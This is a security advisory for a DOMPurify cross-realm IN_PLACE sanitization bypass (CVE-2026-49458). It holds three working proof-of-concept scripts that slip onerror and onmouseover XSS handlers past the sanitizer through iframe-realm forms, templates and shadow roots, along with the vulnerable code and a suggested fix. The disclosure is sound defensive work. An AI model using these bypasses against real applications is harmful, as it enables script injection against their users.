---
id: CVE-2026-49458
aliases:
  - GHSA-hpcv-96wg-7vj8
title: >-
  DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact
  via realm-bound `instanceof` checks
summary: >-
  DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact
  via realm-bound `instanceof` checks
severity: medium
cvss: 6.1
cwe:
  - CWE-79
  - CWE-501
  - CWE-693
vendor: dompurify
product: dompurify
ecosystem: npm
affected:
  - dompurify <= 3.4.5
patched:
  - dompurify 3.4.6
published: '2026-06-15'
updated: '2026-06-15'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-hpcv-96wg-7vj8'
references:
  - url: >-
      https://github.com/cure53/DOMPurify/security/advisories/GHSA-hpcv-96wg-7vj8
  - url: 'https://github.com/advisories/GHSA-hpcv-96wg-7vj8'
tags:
  - ghsa
  - npm
ingestedAt: '2026-07-07T15:41:58.710Z'
epss: 0.00404
epssPercentile: 0.31864
---

## Overview

# Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound `instanceof` checks

**CWE**: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — realm-bound `instanceof` checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation — foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm)

## Summary

`DOMPurify.sanitize(node, { IN_PLACE: true })` accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, `instanceof HTMLFormElement`, `instanceof NamedNodeMap`, `instanceof DocumentFragment`, and `instanceof Element` all return `false` for nodes belonging to the iframe's realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm `<template>`'s `.content` is not a document fragment, and the foreign-realm attached shadow root is not a document fragment — silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node.

## Affected

- DOMPurify ≤ 3.4.5, including `main` at `89da34e03ec17868e561f87f3747a9371b61a9e7`
- Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm — popup window, opened tab, programmatically-created `<iframe srcdoc>`) and then calls `DOMPurify.sanitize(foreignNode, { IN_PLACE: true })` against a sanitizer instance bound to a different realm

Not affected:
- String-input `DOMPurify.sanitize(dirtyString)` — the library calls its own parser inside `_initDocument`, the resulting nodes belong to the sanitizer's own realm, and the `instanceof` checks resolve as expected
- IN_PLACE calls where the input node was created in the same realm as the DOMPurify instance

## Vulnerability details

The unifying defect is that `_isClobbered`, `_sanitizeShadowDOM`'s template-content recursion, and `_sanitizeAttachedShadowRoots` all use realm-bound `instanceof` checks against the parent-realm constructors. Each branch fails-open for foreign-realm objects.

### [A] — `_isClobbered` gates on `element instanceof HTMLFormElement`

`src/purify.ts:1120-1140`:

```ts
const _isClobbered = function (element: Element): boolean {
  return (
    element instanceof HTMLFormElement &&    // [A] realm-bound — false for any
                                              //     iframe-realm <form> element
    (typeof element.nodeName !== 'string' ||
      typeof element.textContent !== 'string' ||
      typeof element.removeChild !== 'function' ||
      !(element.attributes instanceof NamedNodeMap) ||   // [A'] also realm-bound
      typeof element.removeAttribute !== 'function' ||
      typeof element.setAttribute !== 'function' ||
      typeof element.namespaceURI !== 'string' ||
      typeof element.insertBefore !== 'function' ||
      typeof element.hasChildNodes !== 'function' ||
      !(element.childNodes && typeof element.childNodes.length === 'number'))
  );
};
```

A foreign-realm `<form>` is an instance of the foreign realm's `HTMLFormElement`, not the parent realm's. The leading `instanceof` short-circuits to `false`, so `_isClobbered` returns `false` regardless of the named-property clobbering present on the form. The follow-on `_sanitizeAttributes` then iterates `currentNode.attributes` — which itself can be a clobbered value (a foreign-realm `<input>` whose `name="attributes"` shadows the form's real `NamedNodeMap`). The attribute walk traverses the wrong collection and never reaches the actual `onmouseover` / `onclick` / `action=javascript:` attributes on the form root.

### [B] — `_sanitizeShadowDOM` gates template recursion on `content instanceof DocumentFragment`

`src/purify.ts:1660-1662`:

```ts
while ((shadowNode = shadowIterator.nextNode())) {
  ...
  _sanitizeElements(shadowNode);
  _sanitizeAttributes(shadowNode);
  /* Deep shadow DOM detected */
  if (shadowNode.content instanceof DocumentFragment) {   // [B] realm-bound
    _sanitizeShadowDOM(shadowNode.content);
  }
}
```

The same check exists in the main iterator at `:1861-1862`:

```ts
if (currentNode.content instanceof DocumentFragment) {     // [B'] realm-bound
  _sanitizeShadowDOM(currentNode.content);
}
```

For a `<template>` element constructed in a foreign realm, `template.content` is a `DocumentFragment` from that realm — not from the parent realm. Both checks miss it, and the template's contents (which carry attacker-controlled `<img src=x onerror=...>` etc.) are never walked. The sanitized output appears clean from the outside, but the moment a consumer does `node.cloneNode(true)` / `importNode(template.content, true)` / inserts it into the live DOM, the embedded handler fires.

### [C] — `_sanitizeAttachedShadowRoots` gates recursion on `sr instanceof DocumentFragment`

`src/purify.ts:1702-1712`:

```ts
if (nodeType === NODE_TYPE.element) {
  const sr = getShadowRoot
    ? getShadowRoot(root)
    : (root as Element).shadowRoot;
  if (sr instanceof DocumentFragment) {                    // [C] realm-bound
    _sanitizeAttachedShadowRoots(sr);
    _sanitizeShadowDOM(sr);
  }
}
```

For a host element constructed in a foreign realm with `host.attachShadow({mode:'open'})`, `host.shadowRoot` is a foreign-realm `ShadowRoot` (which extends the foreign realm's `DocumentFragment`). The `instanceof DocumentFragment` against the parent realm fails. The whole shadow subtree is skipped. When the host is later attached to the live document, the shadow DOM activates with attacker-controlled content.

### The mismatch

DOMPurify *accepts* foreign-realm nodes for sanitization (the entry-point's `_isNode(dirty)` at `:1750` is realm-agnostic — it checks shape, not constructor identity), so callers reasonably expect that the library's downstream defenses are equally realm-agnostic. They are not. `[A]` / `[B]` / `[C]` each fail-open for foreign-realm objects. A correct guard at each of those sites would use a realm-independent shape check (e.g., `nodeType === 11` for `DocumentFragment`, tag-name comparison for `HTMLFormElement` recognition).

## Proof of concept

Each PoC creates the attacker payload in a same-origin iframe, then calls the parent-realm `DOMPurify.sanitize(node, { IN_PLACE: true })` and verifies that handler execution succeeds on subsequent activation.

### PoC 1 — cross-realm form clobbering survives

```js
const iframe = document.createElement('iframe');
iframe.srcdoc = '<!doctype html><html><body></body></html>';
iframe.onload = () => {
  const idoc = iframe.contentDocument;
  const div = idoc.createElement('div'); div.id = 'dirty';
  const form = idoc.createElement('form');
  form.setAttribute('onmouseover',
    'window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1');
  const inp = idoc.createElement('input');
  inp.setAttribute('name', 'attributes');                  // clobbers form.attributes
  form.appendChild(inp);
  div.appendChild(form);

  DOMPurify.sanitize(div, { IN_PLACE: true });

  window.__dompurify_xss = 0;
  document.body.appendChild(div);
  form.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));
  // window.__dompurify_xss === 1
};
document.body.appendChild(iframe);
```

Observed (Chromium 148, DOMPurify 3.4.5, HEAD `89da34e`):

```json
{
  "sanitizeError": null,
  "before": {
    "formIsMainRealmHTMLFormElement": false,
    "formIsForeignRealmHTMLFormElement": true,
    "formAttributesType": "[object HTMLInputElement]",
    "formAttributesEqualsInput": true
  },
  "after": {
    "html": "<div id=\"dirty\"><form onmouseover=\"window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1\"><input></form></div>",
    "formOnmouseover": "window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1",
    "xssExecuted": 1
  }
}
```

### PoC 2 — cross-realm `<template>` content is never walked

```js
const iframe = document.createElement('iframe');
iframe.srcdoc = '<!doctype html><html><body></body></html>';
iframe.onload = () => {
  const idoc = iframe.contentDocument;
  const div = idoc.createElement('div');
  const tpl = idoc.createElement('template');
  tpl.innerHTML = '<img src="x" onerror=' +
    '"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1">';
  div.appendChild(tpl);

  DOMPurify.sanitize(div, { IN_PLACE: true });

  window.__dompurify_template_xss = 0;
  const clone = idoc.importNode(tpl.content, true);
  document.body.appendChild(clone);                        // fires onerror
};
document.body.appendChild(iframe);
```

Observed:

```json
{
  "before": {
    "templateIsMainRealmHTMLTemplateElement": false,
    "contentIsMainRealmDocumentFragment": false,
    "contentIsForeignRealmDocumentFragment": true
  },
  "after": {
    "templateInnerHTMLAfter": "<img src=\"x\" onerror=\"window.parent.__dompurify_template_xss=(window.parent.__dompurify_template_xss||0)+1\">",
    "xssExecuted": 1
  }
}
```

### PoC 3 — cross-realm attached shadow root is never walked

```js
const iframe = document.createElement('iframe');
iframe.srcdoc = '<!doctype html><html><body></body></html>';
iframe.onload = () => {
  const idoc = iframe.contentDocument;
  const host = idoc.createElement('div');
  host.attachShadow({ mode: 'open' }).innerHTML =
    '<img src=x onerror="window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1"><b>safe text</b>';

  DOMPurify.sanitize(host, { IN_PLACE: true });

  window.__dompurify_shadow_xss = 0;
  document.body.appendChild(host);                          // shadow activates, onerror fires
};
document.body.appendChild(iframe);
```

Observed:

```json
{
  "before": {
    "hostIsMainRealmElement": false,
    "shadowRootIsMainRealmDocumentFragment": false,
    "shadowRootIsForeignRealmDocumentFragment": true
  },
  "after": {
    "shadowRootInnerHTMLAfter": "<img src=\"x\" onerror=\"window.parent.__dompurify_shadow_xss=(window.parent.__dompurify_shadow_xss||0)+1\"><b>safe text</b>",
    "xssExecuted": 1
  }
}
```

All three PoCs run cleanly against `dist/purify.js` built from current `main` HEAD `89da34e`.

## Impact

### Direct

Any application that parses, isolates, or constructs untrusted DOM inside a same-origin iframe (a common technique for `<base href>` isolation, `document.write` sandboxing, layout pre-measurement, declarative-shadow-root attachment, etc.) and then hands the resulting node to a parent-realm DOMPurify instance with `IN_PLACE: true` is vulnerable. The library returns a node whose top-level shape looks sanitized, but executable attacker markup remains in:

- **Form root attributes** — `onmouseover`, `onfocus`, `onclick`, `action="javascript:..."`, `formaction=`, `target=`, `id=` (DOM-clobbering target), and the full attribute-allowlist set, because `_sanitizeAttributes` walks a clobbered `.attributes` instead of the real `NamedNodeMap`.
- **`<template>` content** — `<img onerror>`, `<svg><script>`, `<iframe srcdoc>`, etc., because the inert template tree is never recursed into.
- **Attached shadow roots** — any markup inside the shadow root, because the shadow walk is skipped entirely.

XSS triggers when the consuming code:
- Inserts the form into the live DOM and the user interacts with it (mouseover, click, focus).
- Clones template content with `importNode` / `cloneNode(true)` / `node.appendChild(template.content)` into the live DOM.
- Appends the shadow host to the live document (the shadow root becomes active and `<img onerror>` fires synchronously during the insertion microtask).

### Indirect / second-order

- **DOM-based template engines** (Lit, Polymer, Vue, FAST) that often use foreign-realm `<template>` parsing for performance reasons. If they pipe attacker-influenced content through such a template and then run DOMPurify on the parent-realm host, the template body is sanitization-skipped.
- **Editor / WYSIWYG frameworks** that render preview content inside a same-origin iframe and then move it into the main document after sanitization.
- **Email/HTML preview libraries** that parse received HTML in an isolated iframe to neutralize CSS / `<base>` / form submission, then sanitize via the main page's DOMPurify.
- **Declarative shadow DOM consumers** that adopt a host from one realm into another — the shadow subtree carries the bypass.

The known prior IN_PLACE-cross-window fix (which closed an earlier cross-window primitive) does not cover the realm-bound `instanceof` checks at `[A]`, `[B]`, `[C]`; current `main` HEAD is still affected.

## Root cause

Per-realm constructors. `instanceof X` checks the prototype chain against the parent realm's `X.prototype`. Foreign-realm objects have a different `X.prototype` and so fail every such check. The sanitizer accepts foreign-realm DOM nodes for `IN_PLACE` sanitization (the entry-point only checks node shape), but several internal security decisions are still bound to the parent realm. This produces an inconsistency: *"we accept your node, but we silently behave as if it is not a form, not a template, not a shadow root."*

Other realm-bound `instanceof` sites in the same file that should likely be audited as part of the same fix sweep:

```ts
element instanceof HTMLFormElement     // src/purify.ts:1122
element.attributes instanceof NamedNodeMap  // src/purify.ts:1126
sr instanceof DocumentFragment         // src/purify.ts:1706
currentNode.content instanceof DocumentFragment  // src/purify.ts:1861
shadowNode.content instanceof DocumentFragment   // src/purify.ts:1660 (approx)
currentNode instanceof Element         // src/purify.ts:1296 (callsite of _checkValidNamespace)
```

## Suggested fix

Use realm-independent shape checks consistently for any decision made on a node accepted from `IN_PLACE`:

1. **`HTMLFormElement` detection** — compare via the realm-independent `getNodeName` cached prototype getter introduced for the recent shadow-root traversal hardening:

   ```ts
   const _isClobbered = function (element: Element): boolean {
     const nn = getNodeName ? getNodeName(element) : element.nodeName;
     if (typeof nn !== 'string' || transformCaseFunc(nn) !== 'form') return false;
     // ... rest of the typeof / cached-getter shape checks ...
   };
   ```

2. **`DocumentFragment` detection** — `nodeType === NODE_TYPE.documentFragment` (i.e., `11`), not `instanceof DocumentFragment`. The check is already realm-independent because `Node.nodeType` is a numeric constant. Same change for the `<template>`-content and attached-shadow-root recursion sites.

3. **`NamedNodeMap` detection** — read `element.attributes` via the cached `Element.prototype.attributes` getter (introduce `getAttributes = lookupGetter(ElementPrototype, 'attributes')`) and verify `nodeType === 11`-style shape (length is a number, indexed `[i]` returns objects with `.name`/`.value` strings). Do not rely on `instanceof NamedNodeMap`.

4. **`Element` detection** at `:1296` — replace `currentNode instanceof Element` with a shape check (`getNodeType(currentNode) === NODE_TYPE.element`).

The invariant the fix should encode: *once `IN_PLACE` accepts a foreign-realm node for sanitization, every downstream security decision on that node must be foreign-realm-safe.* The cached prototype getters introduced for the shadow-root hardening already point at the right pattern; the fix is to extend that pattern to every realm-bound check in the sanitization path.

## Affected packages

- `dompurify <= 3.4.5`

## Remediation

Upgrade to a patched release:

- `dompurify 3.4.6`
